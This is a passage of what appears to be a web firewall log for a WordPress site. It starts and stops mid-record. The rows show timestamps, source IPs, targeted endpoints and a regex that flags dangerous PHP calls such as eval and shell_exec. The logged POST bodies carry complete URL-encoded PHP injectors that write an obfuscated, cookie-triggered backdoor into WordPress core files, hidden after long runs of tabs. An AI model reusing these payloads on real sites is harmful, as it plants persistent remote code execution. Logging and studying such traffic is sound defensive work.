20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3248\nsec-fetch-user:?1\n\nrA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:50:45","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ct:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:3248\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nCt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:03","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:3248\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\n\nOC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:06","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:51:25","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%